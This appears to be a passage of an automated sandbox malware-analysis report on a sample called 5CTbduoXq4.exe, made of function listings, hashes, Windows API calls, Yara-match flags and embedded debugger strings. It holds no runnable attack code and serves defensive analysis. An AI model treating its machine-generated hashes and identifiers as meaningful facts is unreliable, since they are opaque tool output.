Opcode Fuzzy Hash: c169c00afa77405ba917c2af35c4e2488523746982e8b16c2354edac7ddea448
Instruction Fuzzy Hash: A12128B5504300EFDB29DF18D8C0B26BFA5FB84324F20C569EC490B256C736E456CBA2

Function 0275D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305516338.000000000275D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0275D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_275d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25d14c24223d313a7a5594a2207baee9b32f398a062aac9030921ae823c04f23
Instruction ID: a626658a4467426f9d4dba163b352afa496964bbeeaaea7a6c5bfabe3e70ed63
Opcode Fuzzy Hash: 25d14c24223d313a7a5594a2207baee9b32f398a062aac9030921ae823c04f23
Instruction Fuzzy Hash: F021F271604340EFEB21DF14D9C0B26FBA5FB88714F20C56DEC094B252C7B6D446CA62

Function 0275D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305516338.000000000275D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0275D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_275d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d0e22c18e25afa5a66fa6da1197b0a59402e2161bd53f3dc3aa1c369c9ef68
Instruction ID: 3f4fed19f1b19f42aae0273c7424fe99bff889271d6a5eef03500b4b4256182e
Opcode Fuzzy Hash: 12d0e22c18e25afa5a66fa6da1197b0a59402e2161bd53f3dc3aa1c369c9ef68
Instruction Fuzzy Hash: CD21D075604340EFEB24DF14D8C4B26FBA5EF88614F20C569EC0E4B256C3BAD847CA62

Function 0275D005 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305516338.000000000275D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0275D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_275d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5927c24f70e4751b65998915f7d8f38b465cdd299ce9f3bbed52279d23674060
Instruction ID: 6897bff308b8a9ae8438b7d6dc0b786cb6cbd48e797dffb947f61f82e565ad95
Opcode Fuzzy Hash: 5927c24f70e4751b65998915f7d8f38b465cdd299ce9f3bbed52279d23674060
Instruction Fuzzy Hash: 532180755083809FDB12CF24D994B15FF71EF46214F28C5EAD8498F2A7C37A984ACB62

Function 0274D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305409254.000000000274D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0274D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_274d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6516e7cb4bb63d57e06d133cf41f2dc7d2467b1825191544210c1e0ae29845e2
Instruction ID: c931d1fa5a9993ff87c7d98e358819f0b6eec721f31c91464dcda2aed8d81f21
Opcode Fuzzy Hash: 6516e7cb4bb63d57e06d133cf41f2dc7d2467b1825191544210c1e0ae29845e2
Instruction Fuzzy Hash: B511D076504280DFDB26CF14D9C4B16BF72FB84324F24C6A9DC490B656C33AE45ACBA2

Function 0275D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305516338.000000000275D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0275D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_275d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e449476f19250eebb0e9e91bbbe8115ba41f9e1e26aba8ed1d87d5614eb3663
Instruction ID: 69bb70a9021fa7596b161ccb9584a1c75308b4fd19a6fff36667e6de61f510fc
Opcode Fuzzy Hash: 7e449476f19250eebb0e9e91bbbe8115ba41f9e1e26aba8ed1d87d5614eb3663
Instruction Fuzzy Hash: F0118B75904280DFDB21CF14D5C4B16FBA1FB84224F24C6AEDC494B696C37AD44ACF61

Function 074510E8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 299276185df23c913a3974308441d9272e92288855d43eed15f31867ec0e48e0
Instruction ID: fe4077c7c261741442534a693ddc9cdb594064182ec842a30490e5d2e23f71fc
Opcode Fuzzy Hash: 299276185df23c913a3974308441d9272e92288855d43eed15f31867ec0e48e0
Instruction Fuzzy Hash: 23F03AB090521ADFDB60DF7A9845BEBBFF4EF0C250F10486AD848D6201E7708A028BD1

Function 07451289 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae226c36eb835575e84ab923ef0747ee23f98bdb6b229d26ecd4479c653f233e
Instruction ID: 32d7c620e2f0c19d1521759d8fbe0929ba14f02f7c624e8bf6d4051f553417ae
Opcode Fuzzy Hash: ae226c36eb835575e84ab923ef0747ee23f98bdb6b229d26ecd4479c653f233e
Instruction Fuzzy Hash: B4F0E27520A3C15FC3178736A81499ABFB1AF8B20431A84EBE045CB263CA344C0DC350

Function 074510F8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca17cd57a6ae2e1cd5462698452fec7f92ae5270b21559290e8b59a7971c89e
Instruction ID: 01766e7b3cf9a91877c88d71c4a1bb6551b86d05995e142e3f92c354091ecff8
Opcode Fuzzy Hash: 6ca17cd57a6ae2e1cd5462698452fec7f92ae5270b21559290e8b59a7971c89e
Instruction Fuzzy Hash: 6EE0C0B0D0421A9FD750DF6A98457ABBAF4AF4C610F10486AD449E6205EB7496008B91

Function 074512A0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1691ec045cea8891ab2cf0821b8da94cbea9397deec66e82a2bc35427c738d32
Instruction ID: eb6ea310f8a28ce9838f7ac6fa720bbe149a4edb84aa1a9d88aa088394177331
Opcode Fuzzy Hash: 1691ec045cea8891ab2cf0821b8da94cbea9397deec66e82a2bc35427c738d32
Instruction Fuzzy Hash: AEE04F79700614ABC3198A5BE404A9BB7EAEFC9615715856EF519DB321CF31A8048750

Non-executed Functions

Function 06C497F3 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d178e92292d6fd835914d1dc8aeaf2479ef8a07c025bfcb4048556c4645dfd26
Instruction ID: 9bb0f9b7f1634ae11fdd3adbacff44f25e2a22f6152c3990cdee8639217dcd18
Opcode Fuzzy Hash: d178e92292d6fd835914d1dc8aeaf2479ef8a07c025bfcb4048556c4645dfd26
Instruction Fuzzy Hash: D0E10674E042198FDB14EFA9C980AAEBBF2FF89304F248169D415AB355D731AD41CFA1

Function 06C4A068 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e72fa880f0aca8e492fc810b1330d932208075eb2ca7553ccb83ee860c9dc944
Instruction ID: 85fbba4a3a9d1d61ce81c3b76cb9dd59b1b351b76e700d466d07dc91656d5aa5
Opcode Fuzzy Hash: e72fa880f0aca8e492fc810b1330d932208075eb2ca7553ccb83ee860c9dc944
Instruction Fuzzy Hash: 09E10774E042198FDB14DFA9C980AAEBBF2FF89304F248169D415AB359D731AD41CFA4

Function 06C4BCA0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fb243db95d66a9c5d7f3059a0393ed5b2c5ddf8de5b8ff6fc4490ccdacfa02
Instruction ID: 86469d717f98dcb39f7824065a2a88e9a1fecc44c7ddcfc44c1867b0c1822e9d
Opcode Fuzzy Hash: f0fb243db95d66a9c5d7f3059a0393ed5b2c5ddf8de5b8ff6fc4490ccdacfa02
Instruction Fuzzy Hash: E2E1F674E002198FDB54DFA9C980AAEBBF2FF89300F2481A9D415AB355D731AD41CFA1

Function 06C49C30 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d674a51078dda5c6998ba330b40a5780ca93c8084ae4ce9a0603ce9727ae760e
Instruction ID: 2dfb53dd70d22d9d1b28995c3a4f9048c6adcb51a626825e398a342c6c8c7111
Opcode Fuzzy Hash: d674a51078dda5c6998ba330b40a5780ca93c8084ae4ce9a0603ce9727ae760e
Instruction Fuzzy Hash: 90E1E774E042198FDB14EFA9C980AAEBBF2FF89304F248169D415AB355D731AD41CFA1

Function 06C4B868 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1b2b18859ebb88d78ba7c8b9901d644b22c67e070754c4d545a27b683de8558
Instruction ID: e8b0439f99a92a8b9737395d8281bc988b9bbee65a1ecd5b556d94036bf96042
Opcode Fuzzy Hash: a1b2b18859ebb88d78ba7c8b9901d644b22c67e070754c4d545a27b683de8558
Instruction Fuzzy Hash: 69E1E674E042198FDB54EFA9C980AAEBBF2FF89304F248169D415AB355D731AD41CFA0

Function 0288DDE4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2d06867d2fafa13691e2e498f9210158b306c725e424b05d11c4f421ac2ac5
Instruction ID: b0d12400de1d2d58b5d0ad6d555129ea86990714430dc4c68dcb924739a928f3
Opcode Fuzzy Hash: 8a2d06867d2fafa13691e2e498f9210158b306c725e424b05d11c4f421ac2ac5
Instruction Fuzzy Hash: FFA16C3AE002098FCF15EFB5D88059EB7B2FF94300B1585AAE905EB265DB35E955CF80

Function 076C3940 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316747bc972f58f91b3ef0925f2cc34d7a38f6c686593b4f3cbaf39a7d65ed50
Instruction ID: ad30ac7c2e51d6bf5882af668a7b208c7200f984bbd4960f5f1958899b5770d3
Opcode Fuzzy Hash: 316747bc972f58f91b3ef0925f2cc34d7a38f6c686593b4f3cbaf39a7d65ed50
Instruction Fuzzy Hash: F921D737416F1CBFD708C723861A6D527E1EFA2A24F164B42E2781F5F2AFA821D0C945

Analysis Process: 5CTbduoXq4.exePID: 6672, Parent PID: 5884COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	5.1%
Signature Coverage:	8%
Total number of Nodes:	138
Total number of Limit Nodes:	11

Executed Functions

Function 00417B63 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BD5

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b799f33cdfcceec68cf2461573a55d2e37cccfb65537d172954ac166eadf2d1b
Instruction ID: 122384901a9c5e31b0cbf47cd83ed5cb9323d92cb62f98cf8b450b2778bc3db3
Opcode Fuzzy Hash: b799f33cdfcceec68cf2461573a55d2e37cccfb65537d172954ac166eadf2d1b
Instruction Fuzzy Hash: D60171B1E0420DBBDF10DBE1DC42FDEB3789B14308F4081AAE90897241F639EB588B95

Function 0042C953 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042C984

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 2f083958855e6b39986ef7b53346a4094405c7a33e0ff299f3daded4b7834c37
Instruction ID: a1a1041c0e6c1b94269db6ff4cf73d3451205fe7691f058a31b8fa4964ffe1e3
Opcode Fuzzy Hash: 2f083958855e6b39986ef7b53346a4094405c7a33e0ff299f3daded4b7834c37
Instruction Fuzzy Hash: 2EE08676300614BBD510FA5ADC01F97775CEFC6714F404419FA4867341D675B91487F4

Function 015A2B90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015A2B9A

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f660d239bf1d1f26b0aa0d07c43f0cf143429743ca7866cc58cca24cdab668eb
Instruction ID: ca5aba0377334a853b0f760c9bac1fba92f5cd765b345978f586e4e5d002e591
Opcode Fuzzy Hash: f660d239bf1d1f26b0aa0d07c43f0cf143429743ca7866cc58cca24cdab668eb
Instruction Fuzzy Hash: B090023120108803D510615895547CA0049A7D0301F55DC15B4414A58DC6A588957121

Function 015A2A80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015A2A8A

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a841390d0b40edaeee2c0528a9a091ae8cf28c71fddf208d07ec0d3a7a6f6705
Instruction ID: d86a0897044e6372682372af3e7d3806926b40a4af27b1814c4b8363d30c25ea
Opcode Fuzzy Hash: a841390d0b40edaeee2c0528a9a091ae8cf28c71fddf208d07ec0d3a7a6f6705
Instruction Fuzzy Hash: 1190026120200003450571585564696404EA7E0201B51DC25F1004990DC53588957125

Function 015A2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015A2D1A

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8a093e5324a97b2be1410c26a138b0e36838a4fbc8285b4c73c798a701feb5f3
Instruction ID: 17a016518977c954402bf96172be07f07bc38f98eda5fade656610773e275565
Opcode Fuzzy Hash: 8a093e5324a97b2be1410c26a138b0e36838a4fbc8285b4c73c798a701feb5f3
Instruction Fuzzy Hash: E990023120100413D51161585654787004DA7D0241F91DC16B0414958DD6668956B121

Function 015A34E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015A34EA

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 59d55bf29615ceb71682d8bd944ec0d300935f956392cae81a46b06f47fd99a2
Instruction ID: cae77e8a10799476e1066ab49736e5a1f1307034dc51aa29d4e0826c0d13486d
Opcode Fuzzy Hash: 59d55bf29615ceb71682d8bd944ec0d300935f956392cae81a46b06f47fd99a2
Instruction Fuzzy Hash: 4F90023160510403D500615856647861049A7D0201F61DC15B0414968DC7A5895575A2

Function 00414320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00414427

Strings

UQ63g7r-, xrefs: 0041441C, 00414426, 00414437
UQ63g7r-, xrefs: 0041442E, 00414431

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: d8bb71b3de400eed59a08beff8e757dd903ada585e85bf85bc0fb80483de176b
Instruction ID: c654e7dd82306ad07be20f2182398129074d27dccdf197e7b8b500296daea260
Opcode Fuzzy Hash: d8bb71b3de400eed59a08beff8e757dd903ada585e85bf85bc0fb80483de176b
Instruction Fuzzy Hash: 6A21F972E4421C7EEB01AE959C82DEF7B7CEF40798B40816AF904A7241D6389E1687E5

Function 004143A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00414427

Strings

UQ63g7r-, xrefs: 0041441C, 00414426, 00414437
UQ63g7r-, xrefs: 0041442E, 00414431

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: 8d6bffc5187429553e2ad7040074804356c752e35f2aec9c3f1fcfce86f7cced
Instruction ID: 934fb77fa0409c7874f7a2f8fe5ac0ceccbab11669475182c5f65d5113228a07
Opcode Fuzzy Hash: 8d6bffc5187429553e2ad7040074804356c752e35f2aec9c3f1fcfce86f7cced
Instruction Fuzzy Hash: 1D1108B1D4021C7AEB10ABE19CC1DEF7B7CDF41798F408069FA04B7200D6785E068BA5

Function 004143B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00414427

Strings

UQ63g7r-, xrefs: 0041441C, 00414426, 00414437
UQ63g7r-, xrefs: 0041442E, 00414431

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: 3c4c82ffe9e2637f9c0b03e17c2ef05438faead3bb8494bc245809be69176afb
Instruction ID: 7656ebaa64e068870cd233fd54207e833a46b1e9e0b7fb7ddf8ec8f242163898
Opcode Fuzzy Hash: 3c4c82ffe9e2637f9c0b03e17c2ef05438faead3bb8494bc245809be69176afb
Instruction Fuzzy Hash: CF01D2B2D4021C7AEB10ABE19CC2DEF7B7CDF40798F408069FA04B7240D6785E068BA5

Function 00417BDE Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 192c4f8d791a74f5fc4a3e9ce53003c0e739193646856a7bd5574ecafb04c77f
Instruction ID: c5951bf59670ed95c8a229a69371e0f0c9dc29fdd02334928d99ddc3ca0f2906
Opcode Fuzzy Hash: 192c4f8d791a74f5fc4a3e9ce53003c0e739193646856a7bd5574ecafb04c77f
Instruction Fuzzy Hash: 29219EB67442051FC315CE64EC81BF9B734EB92325F11029AF904CF381E6255D56C7E5

Function 00417BF8 Relevance: 1.6, APIs: 1, Instructions: 96
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BD5

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 05ce74115300aa1d0386c8a992e5465be043cc1f53121675ba303ccf5aa30423
Instruction ID: 00ac5599f99533841f8bda13b0be2f1b62a40995406928251777d9fad877b1ce
Opcode Fuzzy Hash: 05ce74115300aa1d0386c8a992e5465be043cc1f53121675ba303ccf5aa30423
Instruction Fuzzy Hash: CD21AB3A70C10A9FCB118E24D844AEAFF74EF96719B2041DAD450CB342E226A98687D8

Function 0042CC63 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041E8EB,?,?,00000000,?,0041E8EB,?,?,?), ref: 0042CC9C

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a629522e6cb8f85e8bdb182f51a111a0892afd8ed588c6852a699a7bde638c1b
Instruction ID: 7c74d4e41703ecf2ac74f9d9b4895f51b419b40aa0f09aed774a1cc672b14946
Opcode Fuzzy Hash: a629522e6cb8f85e8bdb182f51a111a0892afd8ed588c6852a699a7bde638c1b
Instruction Fuzzy Hash: 3DE09AB22042187BCA14EF5AEC41F9B37ACEFC9710F004419FA08A7341D675BA108BB8

Function 0042CCA3 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,3777EA40,00000007,00000000,00000004,00000000,004173E4,000000F4), ref: 0042CCDC

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cdd6b400f2d781c627cbe586a591c7bbeaa857b726842983189184a5aa92914a
Instruction ID: 17ffdd14cf893de34d185b730fd02e884b2db9c7d9af60b921a6e04f82d44752
Opcode Fuzzy Hash: cdd6b400f2d781c627cbe586a591c7bbeaa857b726842983189184a5aa92914a
Instruction Fuzzy Hash: C8E06D712002047BC610EE49DC42F9B37ACEFC5714F004419F908A7341D674B9108AB8

Function 0042CCE3 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,00000000,00000000,?,9A0A6B39,?,?,9A0A6B39), ref: 0042CD1A

Memory Dump Source

Source File: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_5CTbduoXq4.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ff46c3749a6ab0d7dff1e82a35f795f13fa1c0c29bc4e148dcdef1bc45769d99
Instruction ID: db584931667c167d052b57122e12c945e868705e8a3680be29b3f7ccc7343bef
Opcode Fuzzy Hash: ff46c3749a6ab0d7dff1e82a35f795f13fa1c0c29bc4e148dcdef1bc45769d99
Instruction Fuzzy Hash: 49E04F356442147BC610AA5ADC01F9B775CEBC5754F414419FA0CA7241D675791187E4

Function 015A2B2A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 015A2B44

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2cc2508b5fbd14e67b35348fcd69803d8be3db64c8334b33f9bd253f1774934b
Instruction ID: d991346c6710f050fa8d52dd5bf54522230d1f9f0aa5cf2917a08360455012d1
Opcode Fuzzy Hash: 2cc2508b5fbd14e67b35348fcd69803d8be3db64c8334b33f9bd253f1774934b
Instruction Fuzzy Hash: AFB09B719414C5C7DA11D764570875F794477D0701F55C855E1460A81F8738C095F175

Non-executed Functions

Function 01618890 Relevance: 37.8, Strings: 30, Instructions: 268COMMON

Download Yara Rule

Strings

read from, xrefs: 01618ADD, 01618AE2
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0161890C
*** A stack buffer overrun occurred in %ws:%s, xrefs: 01618923
*** enter .cxr %p for the context, xrefs: 01618B3D
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 016189BF
*** enter .exr %p for the exception record, xrefs: 01618B21
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 01618AB4
The instruction at %p tried to %s , xrefs: 01618AE6
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 01618AA6
write to, xrefs: 01618AD6
a NULL pointer, xrefs: 01618B10
<unknown>, xrefs: 016188AE, 01618901, 01618980, 016189C9, 01618A47, 01618ABE
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 01618935
*** Resource timeout (%p) in %ws:%s, xrefs: 01618982
The resource is owned shared by %d threads, xrefs: 016189AE
*** An Access Violation occurred in %ws:%s, xrefs: 01618ABF
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 01618B6F
Go determine why that thread has not released the critical section., xrefs: 016189F5
This failed because of error %Ix., xrefs: 01618A76
*** Inpage error in %ws:%s, xrefs: 01618A48
The resource is owned exclusively by thread %p, xrefs: 016189A4
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 016189CB
an invalid address, %p, xrefs: 01618AFF
*** then kb to get the faulting stack, xrefs: 01618B4C
